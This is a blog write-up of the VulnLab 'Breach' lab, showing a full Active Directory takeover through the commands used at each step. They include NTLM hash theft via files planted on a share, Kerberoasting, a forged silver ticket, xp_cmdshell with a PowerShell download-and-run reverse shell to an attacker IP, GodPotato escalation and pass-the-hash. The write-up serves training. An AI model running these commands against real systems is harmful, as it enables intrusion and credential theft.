Post

VulnLab -- Breach Writeup

Breach

Hello Friends,

Remo is Back

In this write-up, I’ll walk through how I pwned the Breach machine from VulnLab. From initial enumeration to gaining root access, I’ll explain the key steps, tools, and techniques used to complete the box.

image.png

Let’s start by scanning the machine.

1
sudo nmap -sC -sV -sS -O -A -oN scanned.txt -p 3268,51742,51725,80,464,9389,3269,636,1433,135,593,5985,139,49667 --min-rate=1000 10.10.117.12

image.png

Now let’s go and enumerate the shares

1
nxc smb breach.vl -u 'guest' -p '' --shares

image.png

Notice that we got access to two shares

let’s connect to the users share

1
smbclient \\\\breach.vl\\Users -U "breach.vl\guest"

image.png

we didn’t find anything interesting so let’s go and get the domain users

1
nxc smb breach.vl -u 'guest' -p '' --rid-brute 10000

image.png

now save the results and let’s extract the users

1
cat results.txt | grep -i SidTypeUser | awk '{print $6}' | cut -d "\\" -f 2 > users.txt

image.png

Notice that we have a writable share so let’s go create a malisons file to help us steal the ntlm hashes of any user enter the share

1
python3 ntlm_theft.py --generate all --server 10.8.5.233 --filename remo

image.png

Now let’s open responder to catch the ntlm hashes

1
sudo responder -I tun0

image.png

now let’s upload the generated files

1
smbclient \\\\breach.vl\\share -U "breach.vl\guest"

image.png

now let’s put the generated files

1
2
prompt off
mput *

image.png

Now let’s go back to responder and see if we got any hashes

image.png

and we got the hash of Julia.Wong so let’s crack it

1
john crackme.txt --wordlist=/usr/share/wordlists/rockyou.txt

image.png

As we see we got the password of Julia

username: Julia.Wong password: Computer1

Now let’s see if it’s working

1
nxc smb breach.vl -u 'Julia.Wong' -p 'Computer1'

image.png

And it’s working!

Now let’s get bloodhound

1
bloodhound-python -ns 10.10.117.12 -d breach.vl -u Julia.Wong -p Computer1 -c all --zip

image.png

Now let’s open the bloodhound and see if we have interesting permissions

image.png

Notice that our user is member of Print Operators

Now let’s see the kerbeorstable users

1
impacket-GetUserSPNs breach.vl/'Julia.Wong':'Computer1' -target-domain breach.vl -dc-ip 10.10.117.12 -request -outputfile crackme.txt

image.png

Now let’s try to crack it’s passowrd

1
john crackme.txt --wordlist=/usr/share/wordlists/rockyou.txt

image.png

And we go the password of the svc_sql username: svc_mssql password: Trustno1

Now let’s try to login to the MSSQL service

1
nxc mssql breach.vl -u svc_mssql -p 'Trustno1'

image.png

Now let’s get a silver ticket to forge administrator for MSSQLservice

1
impacket-ticketer -domain breach.cl -dc-ip 10.10.117.12 -domain-sid S-1-5-21-2330692793-3312915120-706255856 -spn MSSQLSvc/breachdc.breach.vl:1433 administrator -nthash 69596C7AA1E8DAEE17F8E78870E25A5C

image.png

Now let’s export the ticket

1
export KRB5CCNAME=administrator.ccache

image.png

Now let’s connect to MSSQL Service

1
impacket-mssqlclient -k breachdc.breach.vl

image.png

now let’s enable the xp_cmdshell function

1
2
3
4
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE

image.png

Now let’s try to execute commands

1
exec master..xp_cmdshell 'whoami'

image.png

And we got code execution so let’s go and get a reverse shell

Now let’s open a listener

1
nc -lvnp 1337

image.png

now let’s go and execute a reverse shell

1
exec master..xp_cmdshell "powershell -c IEX (New-Object Net.WebClient).DownloadString('http://10.8.5.233/rev.ps1')"

image.png

and we go a shell!

Now let’s see our privileges

1
whoami /all

image.png

Notice that we have the Impersonation privileges

So let’s download and execute the God Potato to get system access

1
 .\gp.exe -cmd "cmd /c whoami"

image.png

Now let’s add Julia.Wong as a local administrator

1
.\gp.exe -cmd "cmd /c net localgroup administrators Julia.Wong /add"

image.png

Now let’s dump the hashes using secrets dump

1
impacket-secretsdump breach.vl/Julia.Wong:'Computer1'@10.10.117.12

image.png

Now let’s login as administrator

1
evil-winrm -i breach.vl -u administrator -H 'd9a47efd620c2f6d349dd035274d2117'

image.png

now let’s go to the administrator folder and get the flag

1
cd c:\users\administrator\desktop

image.png

Amazing we got the root flag 🥳

image.png

That’s it for the Breach machine! This challenge was a great test of enumeration and exploitation skills. Hope you found the write-up useful.

Remo

CRTECRTPCRTOeWPTXeCPPTeMAPT
This post is licensed under CC BY 4.0 by the author.